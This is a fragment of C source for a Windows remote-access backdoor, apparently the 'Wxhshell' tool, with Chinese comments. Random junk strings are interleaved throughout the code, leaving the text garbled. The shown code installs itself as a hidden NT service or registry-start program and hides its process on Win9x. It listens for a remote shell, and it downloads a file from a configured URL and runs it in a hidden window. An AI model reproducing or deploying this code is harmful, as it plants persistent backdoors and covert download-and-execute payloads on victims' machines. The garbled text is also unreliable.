M NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w9PY^U.Y3e ::`j@ ] if (!NtQueryInformationProcess) return 0; GQZUC\cB J;kbY9e hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j5)qF1W, if(!hProcess) return 0; 7=AKQ7BB>b vZDQ@\HrC if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,`7GI*Vq Cp* n2 CloseHandle(hProcess); 5,((JxX$ H= y-Y_R hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E0pQRGPA if(hProcess==NULL) return 0; ,RHHNTB(" A{o{o++ HMODULE hMod; v:0i5h&M char procName[255]; ]1[;A$7 unsigned long cbNeeded; '~cEdGD9H gPi_+-@ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >lW*%{|b$^ J@TM>R CloseHandle(hProcess); 3*TS
4xX (~GFd7 if(strstr(procName,"services")) return 1; // 以服务启动 -ur]k]R ~Iu09t|a return 0; // 注册表启动 Ja&%J: } NE4fQi?3 W*m[t&; // 主模块 tVcs r int StartWxhshell(LPSTR lpCmdLine) o|W? a#_\ { ZD{srEa/a SOCKET wsl; w8i!Qi#y5D BOOL val=TRUE; R)C+wTG; int port=0; I{PN6bn{> struct sockaddr_in door; W<L6, ^hgAgP{{ if(wscfg.ws_autoins) Install(); Dn3~8 @ih}x port=atoi(lpCmdLine); !T~d5^l! 1W
g8jr's if(port<=0) port=wscfg.ws_port; %ze1ZWO{ 7. .vaq# WSADATA data; K0g:Q*J- if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j5O*H_D \d+HYLAJn if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; bH{aI:9Fb setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c" 7pf
T door.sin_family = AF_INET; gsp7N door.sin_addr.s_addr = inet_addr("127.0.0.1"); OQQ9R?Ll{ door.sin_port = htons(port); f tPw6 QA(,K}z~^S if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o%%fO closesocket(wsl); v1=X =H return 1; S\ZAcz4 } NLl~/smMS (r4VIlap if(listen(wsl,2) == INVALID_SOCKET) { t>2^!vl closesocket(wsl); Fc~w`~tv return 1; H=#Jg;_w } 1znV>PO! Wxhshell(wsl); /8>/"Z2S WSACleanup(); ^gyp-
! y^\#bpq&\ return 0; @RIEO%S Cpcd`y=IN } 0AKwZ'
&H E3skC%} // 以NT服务方式启动 |mmG
s VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) He!!oKK> {
A*~1Uz\t DWORD status = 0; lKUm_; m DWORD specificError = 0xfffffff; %},G(> \2xBOe-a] serviceStatus.dwServiceType = SERVICE_WIN32; <\g&%c, serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~,68S^nP)H serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @t8kN6. serviceStatus.dwWin32ExitCode = 0; O97bgj] serviceStatus.dwServiceSpecificExitCode = 0; })lT fy serviceStatus.dwCheckPoint = 0; YXVJJd$U serviceStatus.dwWaitHint = 0; 3{:<z4>{ rcmAVl:$> hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &;U7/?Q if (hServiceStatusHandle==0) return; ~UC/|t$ zD;]
sk4 status = GetLastError(); Te}yQ= + if (status!=NO_ERROR) O)uM&B= { 1cBhcYv" serviceStatus.dwCurrentState = SERVICE_STOPPED; EE6|9K> serviceStatus.dwCheckPoint = 0; bTGK@~ serviceStatus.dwWaitHint = 0; FraW6T}_ serviceStatus.dwWin32ExitCode = status; dJ:x1j serviceStatus.dwServiceSpecificExitCode = specificError; Q'%o;z* SetServiceStatus(hServiceStatusHandle, &serviceStatus); _-J @$d% return; sC_UalOC_ } 4E\ntufo V55J[s*6! serviceStatus.dwCurrentState = SERVICE_RUNNING; =awO63j> serviceStatus.dwCheckPoint = 0; @:9fS serviceStatus.dwWaitHint = 0; ~hslLUE if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m8j-lNu } H#6^-6;/ .Pes{uHg // 处理NT服务事件,比如:启动、停止 ;sR6dT) VOID WINAPI NTServiceHandler(DWORD fdwControl) ?_>^<1I1 { G=HxD4l switch(fdwControl) NJf(,Mr*| { ]}7rWs[|1 case SERVICE_CONTROL_STOP: (TNY2Ke2 8 serviceStatus.dwWin32ExitCode = 0; 7b,,%rUd serviceStatus.dwCurrentState = SERVICE_STOPPED; 6//FZ:q serviceStatus.dwCheckPoint = 0; 7E3SvC|M serviceStatus.dwWaitHint = 0; qf`xH"$ { p
<=% SetServiceStatus(hServiceStatusHandle, &serviceStatus); !NLvo_[Y } DsJn#>?Kh return; zk'K.!
`^ case SERVICE_CONTROL_PAUSE: J.mewD!%z serviceStatus.dwCurrentState = SERVICE_PAUSED; .q`H`(QM break; S?7V
"LF case SERVICE_CONTROL_CONTINUE: C<t'f(4s`u serviceStatus.dwCurrentState = SERVICE_RUNNING; -^4bA<dCCE break; ),Ho( %T\ case SERVICE_CONTROL_INTERROGATE: )_^WpyzF1 break; ^I<T+X+< }; MJKl]& SetServiceStatus(hServiceStatusHandle, &serviceStatus); cYM~IA } (:-Jl"&R@ #C1A5JE& // 标准应用程序主函数 ,r 2VP\hLh int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V.Ba''E7 { ]vQ?]d?>a $7n#\h // 获取操作系统版本 ?QSx8d OsIsNt=GetOsVer(); 20l_ay GetModuleFileName(NULL,ExeFile,MAX_PATH); CLY6 YB' R afF+*\xXN // 从命令行安装 )@bH" if(strpbrk(lpCmdLine,"iI")) Install(); Cld<D5\|f+ 8| e$ // 下载执行文件 9;]wF8h if(wscfg.ws_downexe) { 5Z6-R}uXk if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MkW1FjdP WinExec(wscfg.ws_filenam,SW_HIDE); mKq<'t]^k } 7<1fKrN?GF AX!>l; if(!OsIsNt) { 0^}'+t,lc // 如果时win9x,隐藏进程并且设置为注册表启动 60,-\h HideProc(); df>kEvU5.^ StartWxhshell(lpCmdLine); |Sr\jUIWn } 3 "l
F else K)Zkj"y if(StartFromService()) Z?(4%U5z // 以服务方式启动 BLwfm+ m" StartServiceCtrlDispatcher(DispatchTable); a#Kmj0 else o'^;tLs15 // 普通方式启动 WHgV_o 8 StartWxhshell(lpCmdLine); q)?p$\ O+o ;aa6 return 0; p584)"[*t }
|